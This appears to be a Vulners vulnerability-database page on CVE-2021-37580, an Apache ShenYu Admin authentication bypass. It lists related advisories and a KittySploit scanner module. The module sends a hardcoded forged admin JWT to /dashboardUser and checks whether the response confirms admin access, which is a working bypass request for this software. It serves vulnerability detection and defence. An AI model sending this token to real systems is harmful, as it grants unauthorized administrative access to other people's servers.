Apache ShenYu Admin JWT - Authentication Bypass Detection
| Reporter | Title | Published | Views | Family All 30 |
|---|---|---|---|---|
| Exploit for Improper Authentication in Apache Shenyu | 17 Nov 202108:33 | – | githubexploit | |
| Exploit for Improper Authentication in Apache Shenyu | 17 Nov 202113:26 | – | githubexploit | |
| CVE-2021-37580 | 16 Nov 202110:15 | – | attackerkb | |
| CVE-2021-37580 | 17 Nov 202113:31 | – | circl | |
| Apache ShenYu 授权问题漏洞 | 16 Nov 202100:00 | – | cnnvd | |
| Apache ShenYu licensing issue vulnerability | 17 Nov 202100:00 | – | cnvd | |
| Apache ShenYu Admin Authentication Bypass (CVE-2021-37580) | 28 Dec 202100:00 | – | checkpoint_advisories | |
| CVE-2021-37580 | 16 Nov 202109:35 | – | cve | |
| CVE-2021-37580 Apache ShenYu Admin bypass JWT authentication | 16 Nov 202109:35 | – | cvelist | |
| Improper Authentication in Apache ShenYu Admin | 17 Nov 202123:15 | – | github |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache ShenYu 2."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Apache ShenYu Admin JWT - Authentication Bypass Detection',
'description': 'Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve2021', 'cve', 'apache', 'jwt', 'shenyu', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2021-37580',
'https://github.com/fengwenhua/CVE-2021-37580',
'https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb',
'http://www.openwall.com/lists/oss-security/2021/11/16/1',
'https://github.com/ARPSyndicate/kenzer-templates',
],
'cve': 'CVE-2021-37580',
}
def run(self):
path = '/dashboardUser'
r = self.http_request(method='GET', path=path, allow_redirects=False, headers={'X-Access-Token': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk'})
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('query success', '"userName":"admin"', '"code":200',)
if all(m in body for m in body_all):
self.set_info(severity='critical', reason='Apache ShenYu Admin JWT - Authentication Bypass detected', path=path)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
8.4High risk
Vulners AI Score8.4
CVSS 27.5
CVSS 3.19.8
EPSS0.41851